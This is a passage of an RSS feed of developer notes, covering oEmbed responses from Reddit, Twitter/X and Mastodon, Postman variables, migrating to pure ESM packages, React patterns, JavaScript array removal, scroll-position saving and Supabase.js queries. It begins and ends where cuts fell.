&lt;pre&gt;&lt;code&gt;// https://www.reddit.com/oembed?url=https://www.reddit.com/r/Showerthoughts/comments/2safxv/we_should_start_keeping_giraffes_a_secret_from/cno7zic
{
  &quot;author_name&quot;: &quot;Venus_11&quot;,
  &quot;html&quot;: &quot;\u003cblockquote class=\&quot;reddit-embed-bq\&quot; style=\&quot;height:500px\&quot; \u003e\n\u003ca href=\&quot;https://www.reddit.com/r/OldSchoolCool/comments/17q1xwu/for_the_few_italians_herethis_is_our_old_school/\&quot;\u003eFor the few italians here…this is our old school cool (1990s)\u003c/a\u003e\u003cbr\u003e by\n\u003ca href=\&quot;https://www.reddit.com/user/Venus_11/\&quot;\u003eu/Venus_11\u003c/a\u003e in\n\u003ca href=\&quot;https://www.reddit.com/r/OldSchoolCool/\&quot;\u003eOldSchoolCool\u003c/a\u003e\n\u003c/blockquote\u003e\n\u003cscript async src=\&quot;https://embed.reddit.com/widgets.js\&quot; charset=\&quot;UTF-8\&quot;\u003e\u003c/script\u003e&quot;,
  &quot;provider_name&quot;: &quot;reddit&quot;,
  &quot;provider_url&quot;: &quot;https://www.reddit.com&quot;,
  &quot;title&quot;: &quot;For the few italians here…this is our old school cool (1990s)&quot;,
  &quot;type&quot;: &quot;rich&quot;,
  &quot;height&quot;: 500
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Twitter / X&lt;/h3&gt;
&lt;p&gt;The schemes in &lt;code&gt;providers.json&lt;/code&gt; now cover &lt;code&gt;x.com/*/status/*&lt;/code&gt;, but the oEmbed endpoint itself is still &lt;code&gt;publish.twitter.com/oembed&lt;/code&gt; and still answers.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://publish.twitter.com/oembed?url=https://x.com/rowancheung/status/1721939337409888732
{
  &quot;url&quot;: &quot;https://twitter.com/rowancheung/status/1721939337409888732&quot;,
  &quot;author_name&quot;: &quot;Rowan Cheung&quot;,
  &quot;author_url&quot;: &quot;https://twitter.com/rowancheung&quot;,
  &quot;html&quot;: &quot;\u003Cblockquote class=\&quot;twitter-tweet\&quot;\u003E\u003Cp lang=\&quot;en\&quot; dir=\&quot;ltr\&quot;\u003EIt&amp;amp;#39;s officially been 24 hours since the OpenAI DevDay announcements. \u003Cbr\u003E\u003Cbr\u003EThe leaks were true. The way we use ChatGPT is about to completely change.\u003Cbr\u003E\u003Cbr\u003EHere are 12 shocking things people have already built (early access): \u003Ca href=\&quot;https://t.co/tCyCncfaZu\&quot;\u003Epic.twitter.com/tCyCncfaZu\u003C/a\u003E\u003C/p\u003E&amp;amp;mdash; Rowan Cheung (@rowancheung) \u003Ca href=\&quot;https://twitter.com/rowancheung/status/1721939337409888732?ref_src=twsrc%5Etfw\&quot;\u003ENovember 7, 2023\u003C/a\u003E\u003C/blockquote\u003E\n\u003Cscript async src=\&quot;https://platform.twitter.com/widgets.js\&quot; charset=\&quot;utf-8\&quot;\u003E\u003C/script\u003E\n&quot;,
  &quot;width&quot;: 550,
  &quot;height&quot;: null,
  &quot;type&quot;: &quot;rich&quot;,
  &quot;cache_age&quot;: &quot;3153600000&quot;,
  &quot;provider_name&quot;: &quot;Twitter&quot;,
  &quot;provider_url&quot;: &quot;https://twitter.com&quot;,
  &quot;version&quot;: &quot;1.0&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Mastodon&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// https://mastodon.social/api/oembed?url=https://mastodon.social/@davatron5000/111364411004016868
{
  &quot;type&quot;: &quot;rich&quot;,
  &quot;version&quot;: &quot;1.0&quot;,
  &quot;author_name&quot;: &quot;Dave Rupert&quot;,
  &quot;author_url&quot;: &quot;https://mastodon.social/@davatron5000&quot;,
  &quot;provider_name&quot;: &quot;mastodon.social&quot;,
  &quot;provider_url&quot;: &quot;https://mastodon.social/&quot;,
  &quot;cache_age&quot;: 86400,
  &quot;html&quot;: &quot;\u003ciframe src=\&quot;https://mastodon.social/@davatron5000/111364411004016868/embed\&quot; class=\&quot;mastodon-embed\&quot; style=\&quot;max-width: 100%; border: 0\&quot; width=\&quot;400\&quot; allowfullscreen=\&quot;allowfullscreen\&quot;\u003e\u003c/iframe\u003e\u003cscript src=\&quot;https://mastodon.social/embed.js\&quot; async=\&quot;async\&quot;\u003e\u003c/script\u003e&quot;,
  &quot;width&quot;: 400,
  &quot;height&quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>html</category><author>Zander Martineau</author></item><item><title>Postman.io</title><link>https://zander.wtf/notes/postman/</link><guid isPermaLink="true">https://zander.wtf/notes/postman/</guid><description>Save a variable from a response Collection variables are usually the right target these days. Use pm.environment.set(...) instead if the value should…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Save a variable from a response&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const jsonData = pm.response.json()
pm.collectionVariables.set(&apos;ref&apos;, jsonData.refs[0].ref)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Collection variables are usually the right target these days. Use &lt;code&gt;pm.environment.set(...)&lt;/code&gt; instead if the value should differ per environment.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Pure ESM packages</title><link>https://zander.wtf/notes/pure-esm-package/</link><guid isPermaLink="true">https://zander.wtf/notes/pure-esm-package/</guid><description>My notes based on Sindre Sorhus&apos;s pure ESM gist, updated for the current state of Node. A pure ESM package cannot be require()&apos;d from CommonJS. If you hit…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My notes based on &lt;a href=&quot;https://gist.github.com/sindresorhus/a39789f98801d908bbc7ff3ecc99d99c&quot;&gt;Sindre Sorhus&apos;s pure ESM gist&lt;/a&gt;, updated for the current state of Node.&lt;/p&gt;
&lt;p&gt;A pure &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules&quot;&gt;ESM&lt;/a&gt; package cannot be &lt;code&gt;require()&lt;/code&gt;&apos;d from CommonJS. If you hit one, you have these choices:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use ESM yourself. &lt;strong&gt;(preferred)&lt;/strong&gt;&lt;br /&gt;
Use &lt;code&gt;import foo from &apos;foo&apos;&lt;/code&gt; instead of &lt;code&gt;const foo = require(&apos;foo&apos;)&lt;/code&gt; to import the package. You also need to put &lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt; in your package.json and more. Follow the guide below.&lt;/li&gt;
&lt;li&gt;If the package is used in an async context, you could use &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import#dynamic_imports&quot;&gt;&lt;code&gt;await import(…)&lt;/code&gt;&lt;/a&gt; from CommonJS instead of &lt;code&gt;require(…)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Stay on the existing version of the package until you can move to ESM.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Make sure you&apos;re on a supported version of Node.js — 20.x at minimum, ideally 22+.&lt;/strong&gt; (Node.js 18 and earlier are end-of-life.)&lt;/p&gt;
&lt;p&gt;I&apos;d strongly recommend moving to ESM. ESM can still import CommonJS packages, but CommonJS packages cannot import ESM packages synchronously (although recent Node versions can &lt;code&gt;require()&lt;/code&gt; some ESM under the &lt;code&gt;require(esm)&lt;/code&gt; feature, don&apos;t build on that as a package consumer strategy).&lt;/p&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;How can I move my CommonJS project to ESM?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt; to your package.json.&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;&quot;main&quot;: &quot;index.js&quot;&lt;/code&gt; with &lt;code&gt;&quot;exports&quot;: &quot;./index.js&quot;&lt;/code&gt; in your package.json.&lt;/li&gt;
&lt;li&gt;Update the &lt;code&gt;&quot;engines&quot;&lt;/code&gt; field in package.json to Node.js 20+: &lt;code&gt;&quot;node&quot;: &quot;&amp;gt;=20&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Remove &lt;code&gt;&apos;use strict&apos;;&lt;/code&gt; from all JavaScript files.&lt;/li&gt;
&lt;li&gt;Replace all &lt;code&gt;require()&lt;/code&gt;/&lt;code&gt;module.export&lt;/code&gt; with &lt;code&gt;import&lt;/code&gt;/&lt;code&gt;export&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use only full relative file paths for imports: &lt;code&gt;import x from &apos;.&apos;;&lt;/code&gt; → &lt;code&gt;import x from &apos;./index.js&apos;;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If you have a TypeScript type definition (for example, &lt;code&gt;index.d.ts&lt;/code&gt;), update it to use ESM imports/exports.&lt;/li&gt;
&lt;li&gt;Optional but recommended, use the &lt;a href=&quot;https://nodejs.org/api/esm.html#esm_node_imports&quot;&gt;&lt;code&gt;node:&lt;/code&gt; protocol&lt;/a&gt; for imports.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Can I import ESM packages in my TypeScript project?&lt;/h3&gt;
&lt;p&gt;Yes, but you need to convert your project to output ESM. See below.&lt;/p&gt;
&lt;h3&gt;How can I make my TypeScript project output ESM?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Add &lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt; to your package.json.&lt;/li&gt;
&lt;li&gt;Replace &lt;code&gt;&quot;main&quot;: &quot;index.js&quot;&lt;/code&gt; with &lt;code&gt;&quot;exports&quot;: &quot;./index.js&quot;&lt;/code&gt; in your package.json.&lt;/li&gt;
&lt;li&gt;Update the &lt;code&gt;&quot;engines&quot;&lt;/code&gt; field in package.json to Node.js 20+: &lt;code&gt;&quot;node&quot;: &quot;&amp;gt;=20&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Add &lt;a href=&quot;https://www.typescriptlang.org/tsconfig#module&quot;&gt;&lt;code&gt;&quot;module&quot;: &quot;NodeNext&quot;&lt;/code&gt;&lt;/a&gt; (and &lt;code&gt;&quot;moduleResolution&quot;: &quot;NodeNext&quot;&lt;/code&gt;) to your tsconfig.json.&lt;/li&gt;
&lt;li&gt;Use only full relative file paths for imports: &lt;code&gt;import x from &apos;.&apos;;&lt;/code&gt; → &lt;code&gt;import x from &apos;./index.js&apos;;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Remove &lt;code&gt;namespace&lt;/code&gt; usage and use &lt;code&gt;export&lt;/code&gt; instead.&lt;/li&gt;
&lt;li&gt;Optional but recommended, use the &lt;a href=&quot;https://nodejs.org/api/esm.html#esm_node_imports&quot;&gt;&lt;code&gt;node:&lt;/code&gt; protocol&lt;/a&gt; for imports.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You must use a &lt;code&gt;.js&lt;/code&gt; extension in relative imports even though you&apos;re importing &lt;code&gt;.ts&lt;/code&gt; files.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How can I import ESM in Electron?&lt;/h3&gt;
&lt;p&gt;Electron supports ESM natively since &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/esm&quot;&gt;Electron 28&lt;/a&gt; (Dec 2023). Add &lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt; to your package.json (or use &lt;code&gt;.mjs&lt;/code&gt; files) and import away. Just note the &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/esm#summary-esm-support-matrix&quot;&gt;caveats&lt;/a&gt;: the main process uses Node&apos;s ESM loader, sandboxed renderers/preloads use Chromium&apos;s.&lt;/p&gt;
&lt;h3&gt;I&apos;m having problems with ESM and Webpack&lt;/h3&gt;
&lt;p&gt;The problem is either Webpack or your Webpack configuration. First, ensure you are on the latest version of Webpack. Try asking on Stack Overflow or &lt;a href=&quot;https://github.com/webpack/webpack&quot;&gt;open an issue on the Webpack repo&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;I&apos;m having problems with ESM and Next.js&lt;/h3&gt;
&lt;p&gt;Next.js 13+ has full ESM support. For older versions, you may need to configure &lt;code&gt;transpilePackages&lt;/code&gt; in &lt;code&gt;next.config.js&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;I&apos;m having problems with ESM and Jest&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://jestjs.io/docs/ecmascript-modules&quot;&gt;Read this first.&lt;/a&gt; The problem is either Jest (&lt;a href=&quot;https://github.com/jestjs/jest/issues/9771&quot;&gt;#9771&lt;/a&gt;) or your Jest configuration. First, ensure you are on the latest version of Jest. (Or honestly, consider Vitest — it&apos;s ESM-first and this whole class of problem disappears.)&lt;/p&gt;
&lt;h3&gt;I&apos;m having problems with ESM and TypeScript&lt;/h3&gt;
&lt;p&gt;If you have decided to make your project ESM (&lt;code&gt;&quot;type&quot;: &quot;module&quot;&lt;/code&gt; in your package.json), make sure you have &lt;a href=&quot;https://www.typescriptlang.org/tsconfig#module&quot;&gt;&lt;code&gt;&quot;module&quot;: &quot;NodeNext&quot;&lt;/code&gt;&lt;/a&gt; in your tsconfig.json and that all your import statements to local files use the &lt;code&gt;.js&lt;/code&gt; extension, &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;.ts&lt;/code&gt; or no extension.&lt;/p&gt;
&lt;h3&gt;What about Create React App?&lt;/h3&gt;
&lt;p&gt;CRA was &lt;a href=&quot;https://react.dev/blog/2025/02/14/sunsetting-create-react-app&quot;&gt;officially deprecated in February 2025&lt;/a&gt; and never fully supported ESM packages. Migrate to Vite (or a framework) instead of fighting it.&lt;/p&gt;
&lt;h3&gt;How can I use TypeScript with AVA for an ESM project?&lt;/h3&gt;
&lt;p&gt;Follow &lt;a href=&quot;https://github.com/avajs/ava/blob/main/docs/recipes/typescript.md#for-packages-with-type-module&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;How can I make sure I don&apos;t accidentally use CommonJS-specific conventions?&lt;/h3&gt;
&lt;p&gt;Use these ESLint rules: &lt;a href=&quot;https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/prefer-module.md&quot;&gt;&lt;code&gt;unicorn/prefer-module&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/sindresorhus/eslint-plugin-unicorn/blob/main/docs/rules/prefer-node-protocol.md&quot;&gt;&lt;code&gt;unicorn/prefer-node-protocol&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;What do I use instead of &lt;code&gt;__dirname&lt;/code&gt; and &lt;code&gt;__filename&lt;/code&gt;?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { fileURLToPath } from &apos;node:url&apos;
import path from &apos;node:path&apos;

const __filename = fileURLToPath(import.meta.url)
const __dirname = path.dirname(fileURLToPath(import.meta.url))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On Node 20.11+ it&apos;s even simpler — &lt;code&gt;import.meta.dirname&lt;/code&gt; and &lt;code&gt;import.meta.filename&lt;/code&gt; are built in.&lt;/p&gt;
&lt;p&gt;However, in most cases, this is better:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { fileURLToPath } from &apos;node:url&apos;

const foo = fileURLToPath(new URL(&apos;foo.js&apos;, import.meta.url))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And many Node.js APIs accept URL directly, so you can just do this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const foo = new URL(&apos;foo.js&apos;, import.meta.url)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How can I import a module and bypass the cache for testing?&lt;/h3&gt;
&lt;p&gt;This used to be a &quot;no good way&quot; situation, but not anymore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Node has &lt;a href=&quot;https://nodejs.org/api/module.html#modulemoduleregisterspecifier-parenturl-options&quot;&gt;module customization hooks&lt;/a&gt; via &lt;code&gt;module.register()&lt;/code&gt; since Node 20.6.&lt;/li&gt;
&lt;li&gt;For test mocking, use your test runner&apos;s ESM mocking: &lt;code&gt;vi.mock()&lt;/code&gt; in Vitest or &lt;a href=&quot;https://jestjs.io/docs/ecmascript-modules#module-mocking-in-esm&quot;&gt;&lt;code&gt;jest.unstable_mockModule()&lt;/code&gt;&lt;/a&gt; in Jest.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you really need a manual cache-bust, the query-string trick still works (testing only — it leaks memory and only reloads the module itself, not its dependencies):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const importFresh = async (modulePath) =&amp;gt;
  import(`${modulePath}?x=${new Date()}`)

const chalk = (await importFresh(&apos;chalk&apos;)).default
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How can I import JSON?&lt;/h3&gt;
&lt;p&gt;Import attributes are stable (ES2025, Node 22+):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import packageJson from &apos;./package.json&apos; with { type: &apos;json&apos; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: Node 18 used the older &lt;code&gt;assert { type: &apos;json&apos; }&lt;/code&gt; syntax, which is now deprecated/removed. If you need to support older Node, read and parse instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { promises as fs } from &apos;node:fs&apos;

const packageJson = JSON.parse(await fs.readFile(&apos;package.json&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;When should I use a default export or named exports?&lt;/h3&gt;
&lt;p&gt;Sindre&apos;s general rule, which I agree with: if something exports a single main thing, it should be a default export.&lt;/p&gt;
&lt;p&gt;Keep in mind that you can combine a default export with named exports when it makes sense:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import readJson, { JSONError } from &apos;read-json&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the main thing is &lt;code&gt;readJson&lt;/code&gt;, but an error is also exported as a named export.&lt;/p&gt;
&lt;h4&gt;Asynchronous and synchronous API&lt;/h4&gt;
&lt;p&gt;If your package has both an asynchronous and synchronous main API, use named exports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { readJson, readJsonSync } from &apos;read-json&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes it clear to the reader that the package exports multiple main APIs. It also follows the Node.js convention of suffixing the synchronous API with &lt;code&gt;Sync&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Readable named exports&lt;/h4&gt;
&lt;p&gt;Avoid overly generic names for named exports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { parse } from &apos;parse-json&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This forces the consumer to either accept the ambiguous name (which might cause naming conflicts) or rename it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { parse as parseJson } from &apos;parse-json&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Instead, make it easy for the user:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { parseJson } from &apos;parse-json&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Examples&lt;/h4&gt;
&lt;p&gt;With ESM, descriptive named exports often beat a namespace default export:&lt;/p&gt;
&lt;p&gt;CommonJS (before):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const isStream = require(&apos;is-stream&apos;);

isStream.writable(…);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESM (now):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {isWritableStream} from &apos;is-stream&apos;;

isWritableStream(…);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>React compound components</title><link>https://zander.wtf/notes/react-compound-components/</link><guid isPermaLink="true">https://zander.wtf/notes/react-compound-components/</guid><description>Note: in React 19 you can render directly instead of , and use(Context) is the newer alternative to useContext. Another example:…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;import React, { useContext } from &apos;react&apos;

const Context = React.createContext()

const List = ({ isSmall = false, children, ...props }) =&amp;gt; (
  &amp;lt;ul {...props} style={{ padding: isSmall ? &apos;5px&apos; : &apos;10px&apos; }}&amp;gt;
    &amp;lt;Context.Provider value={isSmall}&amp;gt;{children}&amp;lt;/Context.Provider&amp;gt;
  &amp;lt;/ul&amp;gt;
)

const ListItem = ({ children, ...props }) =&amp;gt; {
  const isSmall = useContext(Context)

  return (
    &amp;lt;li {...props} style={{ padding: isSmall ? &apos;5px&apos; : &apos;10px&apos; }}&amp;gt;
      {children}
    &amp;lt;/li&amp;gt;
  )
}

export { List, ListItem }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;List isSmall&amp;gt;
  &amp;lt;ListItem&amp;gt;Cat&amp;lt;/ListItem&amp;gt;
  &amp;lt;ListItem&amp;gt;Dog&amp;lt;/ListItem&amp;gt;
&amp;lt;/List&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: in React 19 you can render &lt;code&gt;&amp;lt;Context value={isSmall}&amp;gt;&lt;/code&gt; directly instead of &lt;code&gt;&amp;lt;Context.Provider value={isSmall}&amp;gt;&lt;/code&gt;, and &lt;code&gt;use(Context)&lt;/code&gt; is the newer alternative to &lt;code&gt;useContext&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another example: https://egghead.io/lessons/react-write-compound-components&lt;/p&gt;
</content:encoded><category>react</category><category>javascript</category><author>Zander Martineau</author></item><item><title>useReducer</title><link>https://zander.wtf/notes/react-usereducer/</link><guid isPermaLink="true">https://zander.wtf/notes/react-usereducer/</guid><description>TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet/blob/master/README.md#hooks Example With lazy initialisation useImmer…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet/blob/master/README.md#hooks&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { useReducer } from &apos;react&apos;

interface State {
  count: number
}

type Action = { type: &apos;increment&apos; } | { type: &apos;decrement&apos; } | { type: &apos;reset&apos;; payload: number }

const initialState: State = { count: 0 }

const reducer = (state: State, action: Action): State =&amp;gt; {
  switch (action.type) {
    case &apos;increment&apos;:
      return { count: state.count + 1 }
    case &apos;decrement&apos;:
      return { count: state.count - 1 }
    case &apos;reset&apos;:
      return { count: action.payload }
  }
}

export const Counter = () =&amp;gt; {
  const [state, dispatch] = useReducer(reducer, initialState)
  return (
    &amp;lt;&amp;gt;
      Count: {state.count}
      &amp;lt;button onClick={() =&amp;gt; dispatch({ type: &apos;decrement&apos; })}&amp;gt;-&amp;lt;/button&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; dispatch({ type: &apos;increment&apos; })}&amp;gt;+&amp;lt;/button&amp;gt;
      &amp;lt;button onClick={() =&amp;gt; dispatch({ type: &apos;reset&apos;, payload: 0 })}&amp;gt;Reset&amp;lt;/button&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;With lazy initialisation&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const init = (initialCount: number): State =&amp;gt; {
  return { count: initialCount }
}

const Counter = ({ initialCount }: { initialCount: number }) =&amp;gt; {
  const [state, dispatch] = useReducer(reducer, initialCount, init)
  // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;useImmer&lt;/h2&gt;
&lt;p&gt;For complex stuff, &lt;a href=&quot;https://github.com/immerjs/use-immer&quot;&gt;useImmer&lt;/a&gt; is a great option&lt;/p&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>Removing items from arrays</title><link>https://zander.wtf/notes/remove-items-from-arrays/</link><guid isPermaLink="true">https://zander.wtf/notes/remove-items-from-arrays/</guid><description>Remove all matching items filter is the first thing to reach for — it returns a new array and leaves the original alone: Remove item at an index (without…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Remove all matching items&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;filter&lt;/code&gt; is the first thing to reach for — it returns a new array and leaves the original alone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const removeAllItemsFromArray = (arr, value) =&amp;gt; arr.filter((x) =&amp;gt; x !== value)

// Usage
console.log(removeAllItemsFromArray([2, 5, 9, 1, 5, 8, 5], 5))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Remove item at an index (without mutating)&lt;/h3&gt;
&lt;p&gt;ES2023&apos;s &lt;code&gt;toSpliced&lt;/code&gt; is the immutable version of &lt;code&gt;splice&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const removeItemAtIndex = (arr, index) =&amp;gt; arr.toSpliced(index, 1)

// Usage
console.log(removeItemAtIndex([2, 5, 9, 1, 5, 8, 5], 2))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;In-place variants with &lt;code&gt;splice&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;If you actually want to mutate the array:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const removeItemFromArray = (arr, value) =&amp;gt; {
  const index = arr.indexOf(value)
  if (index &amp;gt; -1) {
    arr.splice(index, 1)
  }
  return arr
}

// Usage
console.log(removeItemFromArray([2, 5, 9, 1, 5, 8, 5], 5))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;const removeAllItemsFromArray = (arr, value) =&amp;gt; {
  let i = 0
  while (i &amp;lt; arr.length) {
    if (arr[i] === value) {
      arr.splice(i, 1)
    } else {
      ++i
    }
  }
  return arr
}

// Usage
console.log(removeAllItemsFromArray([2, 5, 9, 1, 5, 8, 5], 5))
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Save scroll position</title><link>https://zander.wtf/notes/save-scroll-position/</link><guid isPermaLink="true">https://zander.wtf/notes/save-scroll-position/</guid><description>Use pagehide rather than beforeunload — beforeunload is unreliable on mobile and makes the page ineligible for the back/forward cache. If you just want the…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;let element = document.querySelector(&apos;.element&apos;)

let top = sessionStorage.getItem(&apos;element-scroll&apos;)

if (top !== null) {
  element.scrollTop = parseInt(top, 10)
}

window.addEventListener(&apos;pagehide&apos;, () =&amp;gt; {
  sessionStorage.setItem(&apos;element-scroll&apos;, element.scrollTop)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use &lt;code&gt;pagehide&lt;/code&gt; rather than &lt;code&gt;beforeunload&lt;/code&gt; — &lt;code&gt;beforeunload&lt;/code&gt; is unreliable on mobile and makes the page ineligible for the back/forward cache.&lt;/p&gt;
&lt;p&gt;If you just want the browser to restore the whole page&apos;s scroll position, you don&apos;t need any of this — that&apos;s what &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/History/scrollRestoration&quot;&gt;&lt;code&gt;history.scrollRestoration&lt;/code&gt;&lt;/a&gt; controls, and it&apos;s on by default.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Supabase.js</title><link>https://zander.wtf/notes/supabase-js/</link><guid isPermaLink="true">https://zander.wtf/notes/supabase-js/</guid><description>Selecting data Matching data Selecting specific items Sorting data Related data Paginate results Selecting data by date Adding data Generated your schema…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Selecting data&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase.from(&apos;posts&apos;).select(`*`)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Matching data&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase
  .from(&apos;posts&apos;)
  .select(`*`)
  .match({ status: &apos;active&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Selecting specific items&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data: entry } = await supabase
  .from(&apos;posts&apos;)
  .select(`*`)
  .match({ id: 1234, status: &apos;active&apos; })
  .single()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Sorting data&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase
  .from(&apos;posts&apos;)
  .select(`*`)
  .order(&apos;date&apos;, { ascending: false })
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Related data&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase
  .from(&apos;posts&apos;)
  .select(`*, journals(name, id)`)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Paginate results&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const getPagination = (page: number, count: number) =&amp;gt; {
  const limit = count ? +count : 3
  const from = page ? page * limit : 0
  const to = page ? from + count - 1 : count - 1

  return { from, to }
}

const { from, to } = getPagination(page, 10)
const { data, count } = await supabase
  .from(&apos;posts&apos;)
  .select(&apos;*&apos;, { count: &apos;exact&apos; })
  .order(&apos;id&apos;, { ascending: true })
  .range(from, to)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Selecting data by date&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const { data, error } = await supabase
  .from(&apos;events&apos;)
  .select(&apos;*&apos;)
